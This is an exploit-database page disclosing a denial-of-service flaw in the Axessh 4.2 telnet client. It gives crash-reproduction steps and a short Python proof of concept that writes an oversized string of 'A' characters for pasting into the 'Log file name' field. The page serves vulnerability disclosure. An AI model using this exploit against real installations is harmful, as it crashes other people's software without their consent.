Axessh 4.2 'Log file name' - Denial of Service (PoC)

vendor:

Axessh

by:

Victor Mondragón

7.8

CVSS

HIGH

Denial of Service

400

CWE

Product Name: Axessh

Affected Version From: 4.2

Affected Version To: 4.2

Patch Exists: NO

Related CWE: N/A

CPE: a:labf:axessh:4.2

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 Service Pack 1 x32

2019

Axessh 4.2 ‘Log file name’ – Denial of Service (PoC)

Axessh 4.2 is vulnerable to a denial of service attack when a maliciously crafted string is supplied as the 'Log file name' parameter. This causes the application to crash when the 'OK' button is clicked.

Mitigation:

Users should avoid supplying untrusted input to the 'Log file name' parameter.

Source

Exploit-DB raw data:

#Exploit Title: Axessh 4.2 'Log file name' - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-14
#Vendor Homepage: http://www.labf.com
#Software Link: http://www.labf.com/download/axessh.exe
#Tested Version: 4.2
#Tested on: Windows 7 Service Pack 1 x32

#Steps to produce the crash:
#1.- Run python code: Axessh_4.2.py
#2.- Open Axess.txt and copy content to clipboard
#3.- Open Axessh.exe
#4.- In "Telnet Connect Host" select "Details>>" > "Settings"
#5.- Select "Logging" and enable "Log all sessions output"
#6.- In "Log file name" paste Clipboard
#7.- Select "OK" and in "Telnet Connect Host" select "Ok"
#8.- Crashed

cod = "\x41" * 500

f = open('Axess.txt', 'w')
f.write(cod)
f.close()